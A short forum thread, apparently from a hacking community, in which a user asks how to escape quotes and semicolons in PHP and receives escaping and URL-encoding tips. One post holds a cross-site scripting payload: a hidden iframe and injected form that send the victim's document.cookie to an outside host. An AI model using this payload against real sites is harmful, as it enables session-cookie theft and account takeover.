Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

PHP quotes & other things


ghost's Avatar
0 0

I'm trying to include a URL in PHP that may have quotes in the url (") and semi-colons (;). I get that lame unexpected error, but how the hell do I know where to put the / and \? It might be because I'm trying to code php half asleep, but this has pissed me off for a while. Help anyone?


ghost's Avatar
0 0

You need to post your code( at least the line with the error) and the whole error.


ghost's Avatar
0 0

markup<iframe src="http://site.php/something?=</form><form action=http://www.my-site.com/thing.php?blah=document.cookie method=get> <input name=blah> <script>document.forms[3].blah.value=document.cookie; document.forms[3].submit();</script></form><input name=submit type=submit>" frameborder="0" width="0" height="0"></iframe>


Mr_Cheese's Avatar
0 1

try, converting the special characters to ASCI values.

example: a space = %20

etc etc


ghost's Avatar
0 0

if you don't want PHP to parse the special characters, stick a backslash in front of them, e.g.

markupecho "<form action = \"Something.php\">";

would actually echo

<form action = "Something.php">

Hope that clears it up for ya.


ghost's Avatar
0 0

yeh that also works a lil for protecting login scripts..


ghost's Avatar
0 0

Thanks a lot, guys!

Just one question. I have a PHP script trying to echo the HTML code, but it outputs it as plaintext on the page. Why is that? And is there any way to make it so it echos the html code and parses it?


ghost's Avatar
0 0

even easier ismarkup echo &quot;html using &#39; instead&quot;


ghost's Avatar
0 0

What?

edit: apparently, somehow, the header got set to text/css so it wouldnt output the correct things.